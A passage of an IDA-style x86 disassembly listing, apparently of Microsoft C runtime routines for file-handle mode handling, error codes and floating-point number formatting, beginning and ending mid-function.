		ja	short loc_41A15B

loc_41A18C:				; CODE XREF: sub_41A0B7+CDj
		mov	esi, [ebp+var_10]

loc_41A18F:				; CODE XREF: sub_41A0B7+119j
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_41A2DD
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	0
		call	ds:dword_41E0E4	; GetProcessHeap
		push	eax
		call	ds:dword_41E0F0	; RtlFreeHeap
		xor	ebx, ebx
		jmp	loc_41A23B
; ---------------------------------------------------------------------------

loc_41A1B5:				; CODE XREF: sub_41A0B7+C6j
		call	sub_40F7E7
		cmp	dword ptr [eax], 5
		jnz	short loc_41A1CA
		call	sub_40F7D4
		mov	dword ptr [eax], 0Dh

loc_41A1CA:				; CODE XREF: sub_41A0B7+106j
		or	esi, 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41A18F
; ---------------------------------------------------------------------------

loc_41A1D2:				; CODE XREF: sub_41A0B7+4Fj
					; sub_41A0B7+59j
		cmp	edi, ebx
		jg	short loc_41A247
		jl	short loc_41A1DC
		cmp	esi, ebx
		jnb	short loc_41A247

loc_41A1DC:				; CODE XREF: sub_41A0B7+11Fj
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416A1E
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A13D
		push	[ebp+arg_0]
		call	sub_418949
		pop	ecx
		push	eax
		call	ds:off_41E094
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		cdq
		mov	[ebp+var_10], eax
		and	eax, edx
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], edx
		jnz	short loc_41A247
		call	sub_40F7D4
		mov	dword ptr [eax], 0Dh
		call	sub_40F7E7
		mov	esi, eax
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		mov	[esi], eax
		mov	esi, [ebp+var_10]

loc_41A23B:				; CODE XREF: sub_41A0B7+F9j
		and	esi, [ebp+var_C]
		cmp	esi, 0FFFFFFFFh
		jz	loc_41A13D

loc_41A247:				; CODE XREF: sub_41A0B7+11Dj
					; sub_41A0B7+123j ...
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	sub_416A1E
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A13D
		xor	eax, eax
		jmp	loc_41A144
sub_41A0B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A26B	proc near		; CODE XREF: sub_417C3F+322p
					; sub_417C3F+37Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_418949
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A28C
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A28C:				; CODE XREF: sub_41A26B+Fj
		push	edi
		push	[esp+8+arg_8]
		push	0
		push	[esp+10h+arg_4]
		push	eax
		call	ds:off_41E064
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_41A2AD
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		jmp	short loc_41A2AF
; ---------------------------------------------------------------------------

loc_41A2AD:				; CODE XREF: sub_41A26B+38j
		xor	eax, eax

loc_41A2AF:				; CODE XREF: sub_41A26B+40j
		test	eax, eax
		jz	short loc_41A2BF
		push	eax
		call	sub_40F7FA
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A2DA
; ---------------------------------------------------------------------------

loc_41A2BF:				; CODE XREF: sub_41A26B+46j
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_433C00[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FDh
		mov	eax, edi

loc_41A2DA:				; CODE XREF: sub_41A26B+52j
		pop	edi
		pop	esi
		retn
sub_41A26B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2DD	proc near		; CODE XREF: sub_41A0B7+9Ap
					; sub_41A0B7+DEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, edx
		sar	eax, 5
		and	edx, 1Fh
		imul	edx, 28h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		lea	esi, ds:433C00h[eax*4]
		mov	eax, [esi]
		lea	ecx, [eax+edx]
		movzx	eax, byte ptr [ecx+4]
		and	eax, 80h
		mov	[ebp+arg_0], eax
		mov	al, [ecx+24h]
		add	al, al
		movsx	eax, al
		push	edi
		mov	edi, 4000h
		sar	eax, 1
		cmp	ebx, edi
		jz	short loc_41A36F
		cmp	ebx, 8000h
		jz	short loc_41A369
		cmp	ebx, 10000h
		jz	short loc_41A355
		cmp	ebx, 20000h
		jz	short loc_41A355
		cmp	ebx, 40000h
		jnz	short loc_41A37C
		or	byte ptr [ecx+4], 80h
		mov	ecx, [esi]
		lea	ecx, [ecx+edx+24h]
		mov	dl, [ecx]
		and	dl, 81h
		or	dl, 1

loc_41A351:				; CODE XREF: sub_41A2DD+8Aj
		mov	[ecx], dl
		jmp	short loc_41A37C
; ---------------------------------------------------------------------------

loc_41A355:				; CODE XREF: sub_41A2DD+50j
					; sub_41A2DD+58j
		or	byte ptr [ecx+4], 80h
		mov	ecx, [esi]
		lea	ecx, [ecx+edx+24h]
		mov	dl, [ecx]
		and	dl, 82h
		or	dl, 2
		jmp	short loc_41A351
; ---------------------------------------------------------------------------

loc_41A369:				; CODE XREF: sub_41A2DD+48j
		and	byte ptr [ecx+4], 7Fh
		jmp	short loc_41A37C
; ---------------------------------------------------------------------------

loc_41A36F:				; CODE XREF: sub_41A2DD+40j
		or	byte ptr [ecx+4], 80h
		mov	ecx, [esi]
		lea	ecx, [ecx+edx+24h]
		and	byte ptr [ecx],	80h

loc_41A37C:				; CODE XREF: sub_41A2DD+60j
					; sub_41A2DD+76j ...
		cmp	[ebp+arg_0], 0
		jnz	short loc_41A389
		mov	eax, 8000h
		jmp	short loc_41A394
; ---------------------------------------------------------------------------

loc_41A389:				; CODE XREF: sub_41A2DD+A3j
		neg	eax
		sbb	eax, eax
		and	eax, 0C000h
		add	eax, edi

loc_41A394:				; CODE XREF: sub_41A2DD+AAj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A2DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A399	proc near		; CODE XREF: sub_417C3F+40p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_41A3C1
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A3C1:				; CODE XREF: sub_41A399+9j
		mov	ecx, dword_4265E0
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
sub_41A399	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3CD	proc near		; CODE XREF: sub_41A548+6p
					; DATA XREF: sub_4192DC+55o ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		mov	esi, [ebp+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_40F772
		cmp	eax, 65h
		jmp	short loc_41A3FC
; ---------------------------------------------------------------------------

loc_41A3F0:				; CODE XREF: sub_41A3CD+30j
		inc	esi
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_418D4B
		test	eax, eax

loc_41A3FC:				; CODE XREF: sub_41A3CD+21j
		pop	ecx
		jnz	short loc_41A3F0
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_40F772
		cmp	eax, 78h
		pop	ecx
		jnz	short loc_41A410
		inc	esi
		inc	esi

loc_41A410:				; CODE XREF: sub_41A3CD+3Fj
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		mov	al, [esi]
		mov	cl, [ecx]
		mov	[esi], cl
		inc	esi

loc_41A422:				; CODE XREF: sub_41A3CD+60j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41A422
		cmp	[ebp+var_4], cl
		pop	esi
		jz	short locret_41A43C
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

locret_41A43C:				; CODE XREF: sub_41A3CD+66j
		leave
		retn
sub_41A3CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A43E	proc near		; CODE XREF: sub_41A556+6p
					; DATA XREF: sub_4192DC+4Bo ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		test	cl, cl
		mov	esi, [ebp+var_10]
		jz	short loc_41A471
		mov	edx, [esi+0BCh]
		mov	edx, [edx]
		mov	dl, [edx]

loc_41A466:				; CODE XREF: sub_41A43E+31j
		cmp	cl, dl
		jz	short loc_41A471
		inc	eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_41A466

loc_41A471:				; CODE XREF: sub_41A43E+1Cj
					; sub_41A43E+2Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short loc_41A4AE
		jmp	short loc_41A485
; ---------------------------------------------------------------------------

loc_41A47A:				; CODE XREF: sub_41A43E+4Bj
		cmp	cl, 65h
		jz	short loc_41A48B
		cmp	cl, 45h
		jz	short loc_41A48B
		inc	eax

loc_41A485:				; CODE XREF: sub_41A43E+3Aj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_41A47A

loc_41A48B:				; CODE XREF: sub_41A43E+3Fj
					; sub_41A43E+44j
		mov	edx, eax

loc_41A48D:				; CODE XREF: sub_41A43E+53j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41A48D
		mov	ecx, [esi+0BCh]
		mov	ecx, [ecx]
		push	ebx
		mov	bl, [eax]
		cmp	bl, [ecx]
		pop	ebx
		jnz	short loc_41A4A4
		dec	eax

loc_41A4A4:				; CODE XREF: sub_41A43E+63j
					; sub_41A43E+6Ej
		mov	cl, [edx]
		inc	eax
		inc	edx
		test	cl, cl
		mov	[eax], cl
		jnz	short loc_41A4A4

loc_41A4AE:				; CODE XREF: sub_41A43E+38j
		cmp	[ebp+var_4], 0
		pop	esi
		jz	short locret_41A4BC
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

locret_41A4BC:				; CODE XREF: sub_41A43E+75j
		leave
		retn
sub_41A43E	endp

; ---------------------------------------------------------------------------
word_41A4BE	dw 0EED9h		; DATA XREF: sub_4192DC+28o
					; .data:off_423F70o
		dd 424448Bh, 0E0DF18DCh, 7A41C4F6h, 40C03304h, 0C3C033C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D4	proc near		; CODE XREF: sub_41A514+Ep
					; DATA XREF: sub_4192DC+41o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		jz	short loc_41A4FE
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41AFBD
		mov	ecx, [ebp+var_8]
		mov	eax, [ebp+arg_4]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		jmp	short loc_41A50F
; ---------------------------------------------------------------------------

loc_41A4FE:				; CODE XREF: sub_41A4D4+Fj
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41B063
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx

loc_41A50F:				; CODE XREF: sub_41A4D4+28j
		add	esp, 0Ch
		leave
		retn
sub_41A4D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A514	proc near		; DATA XREF: sub_4192DC+14o
					; .data:off_423F68o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A4D4
		add	esp, 10h
		retn
sub_41A514	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A52B	proc near		; CODE XREF: sub_41A564+88p
					; sub_41AB2E+8Ap ...
		test	edi, edi
		push	esi
		mov	esi, eax
		jz	short loc_41A546
		push	esi
		call	sub_40C500
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_411470
		add	esp, 10h

loc_41A546:				; CODE XREF: sub_41A52B+5j
		pop	esi
		retn
sub_41A52B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A548	proc near		; DATA XREF: sub_4192DC+1Eo
					; .data:off_423F6Co

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_41A3CD
		pop	ecx
		pop	ecx
		retn
sub_41A548	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A556	proc near		; DATA XREF: sub_4192DC+Ao
					; .data:off_423F64o

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_41A43E
		pop	ecx
		pop	ecx
		retn
sub_41A556	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A564	proc near		; CODE XREF: sub_41A6D1+B7p
					; sub_41ACDC+E1p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_14]
		lea	ecx, [ebp+var_10]
		mov	ebx, eax
		call	sub_40AB59
		xor	esi, esi
		cmp	ebx, esi
		jnz	short loc_41A5AB

loc_41A580:				; CODE XREF: sub_41A564+4Aj
		call	sub_40F7D4
		push	16h

loc_41A587:				; CODE XREF: sub_41A564+67j
		pop	edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[eax], edi
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_4], 0
		jz	short loc_41A5A4
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41A5A4:				; CODE XREF: sub_41A564+37j
		mov	eax, edi
		jmp	loc_41A6CC
; ---------------------------------------------------------------------------

loc_41A5AB:				; CODE XREF: sub_41A564+1Aj
		cmp	[ebp+arg_0], esi
		jbe	short loc_41A580
		cmp	[ebp+arg_4], esi
		jle	short loc_41A5BA
		mov	eax, [ebp+arg_4]
		jmp	short loc_41A5BC
; ---------------------------------------------------------------------------

loc_41A5BA:				; CODE XREF: sub_41A564+4Fj
		xor	eax, eax

loc_41A5BC:				; CODE XREF: sub_41A564+54j
		add	eax, 9
		cmp	[ebp+arg_0], eax
		ja	short loc_41A5CD
		call	sub_40F7D4
		push	22h
		jmp	short loc_41A587
; ---------------------------------------------------------------------------

loc_41A5CD:				; CODE XREF: sub_41A564+5Ej
		cmp	[ebp+arg_10], 0
		jz	short loc_41A5F1
		mov	edx, [ebp+arg_C]
		xor	eax, eax
		cmp	[ebp+arg_4], esi
		setnle	al
		xor	ecx, ecx
		cmp	dword ptr [edx], 2Dh
		setz	cl
		mov	edi, eax
		add	ecx, ebx
		mov	eax, ecx
		call	sub_41A52B

loc_41A5F1:				; CODE XREF: sub_41A564+6Dj
		mov	edi, [ebp+arg_C]
		cmp	dword ptr [edi], 2Dh
		mov	esi, ebx
		jnz	short loc_41A601
		mov	byte ptr [ebx],	2Dh
		lea	esi, [ebx+1]

loc_41A601:				; CODE XREF: sub_41A564+95j
		cmp	[ebp+arg_4], 0
		jle	short loc_41A61F
		lea	eax, [esi+1]
		mov	cl, [eax]
		mov	[esi], cl
		mov	esi, eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+0BCh]
		mov	eax, [eax]
		mov	al, [eax]
		mov	[esi], al

loc_41A61F:				; CODE XREF: sub_41A564+A1j
		xor	eax, eax
		cmp	[ebp+arg_10], al
		setz	al
		add	eax, [ebp+arg_4]
		add	esi, eax
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_41A637
		or	ebx, 0FFFFFFFFh
		jmp	short loc_41A63C
; ---------------------------------------------------------------------------

loc_41A637:				; CODE XREF: sub_41A564+CCj
		sub	ebx, esi
		add	ebx, [ebp+arg_0]

loc_41A63C:				; CODE XREF: sub_41A564+D1j
		push	offset aE000	; "e+000"
		push	ebx
		push	esi
		call	sub_4117D5
		add	esp, 0Ch
		xor	ebx, ebx
		test	eax, eax
		jz	short loc_41A65E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CA0C
		add	esp, 14h

loc_41A65E:				; CODE XREF: sub_41A564+EBj
		cmp	[ebp+arg_8], ebx
		lea	ecx, [esi+2]
		jz	short loc_41A669
		mov	byte ptr [esi],	45h

loc_41A669:				; CODE XREF: sub_41A564+100j
		mov	eax, [edi+0Ch]
		inc	esi
		cmp	byte ptr [eax],	30h
		jz	short loc_41A6A0
		mov	eax, [edi+4]
		dec	eax
		jns	short loc_41A67D
		neg	eax
		mov	byte ptr [esi],	2Dh

loc_41A67D:				; CODE XREF: sub_41A564+112j
		inc	esi
		cmp	eax, 64h
		jl	short loc_41A68D
		cdq
		push	64h
		pop	edi
		idiv	edi
		add	[esi], al
		mov	eax, edx

loc_41A68D:				; CODE XREF: sub_41A564+11Dj
		inc	esi
		cmp	eax, 0Ah
		jl	short loc_41A69D
		cdq
		push	0Ah
		pop	edi
		idiv	edi
		add	[esi], al
		mov	eax, edx

loc_41A69D:				; CODE XREF: sub_41A564+12Dj
		add	[esi+1], al

loc_41A6A0:				; CODE XREF: sub_41A564+10Cj
		test	byte_4265E4, 1
		jz	short loc_41A6BD
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41A6BD
		push	3
		lea	eax, [ecx+1]
		push	eax
		push	ecx
		call	sub_411470
		add	esp, 0Ch

loc_41A6BD:				; CODE XREF: sub_41A564+143j
					; sub_41A564+148j
		cmp	[ebp+var_4], 0
		jz	short loc_41A6CA
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41A6CA:				; CODE XREF: sub_41A564+15Dj
		xor	eax, eax

loc_41A6CC:				; CODE XREF: sub_41A564+42j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A564	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6D1	proc near		; CODE XREF: sub_41A79F+14p
					; sub_41ADD4+7Cp

var_2C		= dword	ptr -2Ch
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	16h
		pop	esi
		push	esi
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_2C]
		push	ecx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41B281
		xor	ebx, ebx
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_41A721

loc_41A709:				; CODE XREF: sub_41A6D1+55j
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40CB08
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_41A790
; ---------------------------------------------------------------------------

loc_41A721:				; CODE XREF: sub_41A6D1+36j
		mov	eax, [ebp+arg_8]
		cmp	eax, ebx
		jbe	short loc_41A709
		cmp	eax, 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		jnz	short loc_41A735
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A749
; ---------------------------------------------------------------------------

loc_41A735:				; CODE XREF: sub_41A6D1+5Dj
		xor	ecx, ecx
		cmp	[ebp+var_2C], 2Dh
		setz	cl
		sub	eax, ecx
		xor	ecx, ecx
		cmp	esi, ebx
		setnle	cl
		sub	eax, ecx

loc_41A749:				; CODE XREF: sub_41A6D1+62j
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	ecx, [esi+1]
		push	ecx
		push	eax
		xor	eax, eax
		cmp	[ebp+var_2C], 2Dh
		setz	al
		xor	ecx, ecx
		cmp	esi, ebx
		setnle	cl
		add	eax, edi
		add	ecx, eax
		push	ecx
		call	sub_41B109
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_41A777
		mov	[edi], bl
		jmp	short loc_41A790
; ---------------------------------------------------------------------------

loc_41A777:				; CODE XREF: sub_41A6D1+A0j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_2C]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		mov	eax, edi
		push	esi
		push	[ebp+arg_8]
		call	sub_41A564
		add	esp, 18h

loc_41A790:				; CODE XREF: sub_41A6D1+4Ej
					; sub_41A6D1+A4j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_41A6D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A79F	proc near		; CODE XREF: sub_41A7BD+BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A6D1
		add	esp, 18h
		pop	ebp
		retn
sub_41A79F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7BD	proc near		; CODE XREF: sub_41ADD4+63p

var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		push	[ebp+arg_14]
		lea	ecx, [ebp+var_24]
		mov	[ebp+var_14], 3FFh
		xor	edi, edi
		mov	[ebp+var_4], 30h
		call	sub_40AB59
		cmp	[ebp+arg_C], edi
		jge	short loc_41A7E8
		mov	[ebp+arg_C], edi

loc_41A7E8:				; CODE XREF: sub_41A7BD+26j
		mov	esi, [ebp+arg_4]
		cmp	esi, edi
		jnz	short loc_41A81A

loc_41A7EF:				; CODE XREF: sub_41A7BD+60j
		call	sub_40F7D4
		push	16h

loc_41A7F6:				; CODE XREF: sub_41A7BD+77j
		pop	esi
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	[eax], esi
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_18], 0
		jz	short loc_41A813
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41A813:				; CODE XREF: sub_41A7BD+4Dj
		mov	eax, esi
		jmp	loc_41AB2A
; ---------------------------------------------------------------------------

loc_41A81A:				; CODE XREF: sub_41A7BD+30j
		cmp	[ebp+arg_8], edi
		jbe	short loc_41A7EF
		mov	eax, [ebp+arg_C]
		add	eax, 0Bh
		cmp	[ebp+arg_8], eax
		mov	byte ptr [esi],	0
		ja	short loc_41A836
		call	sub_40F7D4
		push	22h
		jmp	short loc_41A7F6
; ---------------------------------------------------------------------------

loc_41A836:				; CODE XREF: sub_41A7BD+6Ej
		mov	edi, [ebp+arg_0]
		mov	eax, [edi]
		mov	[ebp+var_C], eax
		mov	eax, [edi+4]
		mov	ecx, eax
		shr	ecx, 14h
		mov	edx, 7FFh
		push	ebx
		and	ecx, edx
		xor	ebx, ebx
		cmp	ecx, edx
		jnz	loc_41A8E8
		test	ebx, ebx
		jnz	loc_41A8E8
		mov	eax, [ebp+arg_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A86C
		or	eax, eax
		jmp	short loc_41A86F
; ---------------------------------------------------------------------------

loc_41A86C:				; CODE XREF: sub_41A7BD+A9j
		add	eax, 0FFFFFFFEh

loc_41A86F:				; CODE XREF: sub_41A7BD+ADj
		push	0
		push	[ebp+arg_C]
		lea	ebx, [esi+2]
		push	eax
		push	ebx
		push	edi
		call	sub_41A79F
		add	esp, 14h
		test	eax, eax
		jz	short loc_41A89F
		cmp	[ebp+var_18], 0
		mov	byte ptr [esi],	0
		jz	loc_41AB29
		mov	ecx, [ebp+var_1C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_41AB29
; ---------------------------------------------------------------------------

loc_41A89F:				; CODE XREF: sub_41A7BD+C7j
		cmp	byte ptr [ebx],	2Dh
		jnz	short loc_41A8A8
		mov	byte ptr [esi],	2Dh
		inc	esi

loc_41A8A8:				; CODE XREF: sub_41A7BD+E5j
		mov	byte ptr [esi],	30h
		inc	esi
		cmp	[ebp+arg_10], 0
		push	65h
		setz	al
		dec	al
		and	al, 0E0h
		add	al, 78h
		mov	[esi], al
		inc	esi
		push	esi
		call	sub_41AF90
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_41AB1A
		cmp	[ebp+arg_10], 0
		setz	cl
		dec	cl
		and	cl, 0E0h
		add	cl, 70h
		mov	[eax], cl
		mov	byte ptr [eax+3], 0
		jmp	loc_41AB1A
; ---------------------------------------------------------------------------

loc_41A8E8:				; CODE XREF: sub_41A7BD+95j
					; sub_41A7BD+9Dj
		and	eax, 80000000h
		xor	ecx, ecx
		or	ecx, eax
		jz	short loc_41A8F7
		mov	byte ptr [esi],	2Dh
		inc	esi

loc_41A8F7:				; CODE XREF: sub_41A7BD+134j
		mov	ebx, [ebp+arg_10]
		mov	byte ptr [esi],	30h
		inc	esi
		test	ebx, ebx
		setz	al
		dec	al
		and	al, 0E0h
		add	al, 78h
		mov	[esi], al
		mov	ecx, [edi+4]
		inc	esi
		neg	ebx
		sbb	ebx, ebx
		and	ebx, 0FFFFFFE0h
		and	ecx, 7FF00000h
		xor	eax, eax
		add	ebx, 27h
		xor	edx, edx
		or	eax, ecx
		jnz	short loc_41A948
		mov	byte ptr [esi],	30h
		mov	ecx, [edi+4]
		mov	eax, [edi]
		and	ecx, 0FFFFFh
		inc	esi
		or	eax, ecx
		jnz	short loc_41A93F
		mov	[ebp+var_14], edx
		jmp	short loc_41A94C
; ---------------------------------------------------------------------------

loc_41A93F:				; CODE XREF: sub_41A7BD+17Bj
		mov	[ebp+var_14], 3FEh
		jmp	short loc_41A94C
; ---------------------------------------------------------------------------

loc_41A948:				; CODE XREF: sub_41A7BD+168j
		mov	byte ptr [esi],	31h
		inc	esi

loc_41A94C:				; CODE XREF: sub_41A7BD+180j
					; sub_41A7BD+189j
		mov	eax, esi
		inc	esi
		cmp	[ebp+arg_C], edx
		mov	[ebp+arg_4], eax
		jnz	short loc_41A95B
		mov	[eax], dl
		jmp	short loc_41A96A
; ---------------------------------------------------------------------------

loc_41A95B:				; CODE XREF: sub_41A7BD+198j
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		mov	cl, [ecx]
		mov	[eax], cl

loc_41A96A:				; CODE XREF: sub_41A7BD+19Cj
		mov	ecx, [edi+4]
		mov	eax, [edi]
		and	ecx, 0FFFFFh
		mov	[ebp+var_8], ecx
		ja	short loc_41A982
		cmp	eax, edx
		jbe	loc_41AA37

loc_41A982:				; CODE XREF: sub_41A7BD+1BBj
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], 0F0000h

loc_41A98C:				; CODE XREF: sub_41A7BD+220j
		cmp	[ebp+arg_C], 0
		jle	short loc_41A9DF
		mov	edx, [edi+4]
		and	edx, [ebp+var_8]
		mov	eax, [edi]
		movsx	ecx, word ptr [ebp+var_4]
		and	eax, [ebp+var_C]
		and	edx, 0FFFFFh
		call	sub_41B3F0
		add	ax, 30h
		movzx	eax, ax
		cmp	ax, 39h
		jbe	short loc_41A9BB
		add	eax, ebx

loc_41A9BB:				; CODE XREF: sub_41A7BD+1FAj
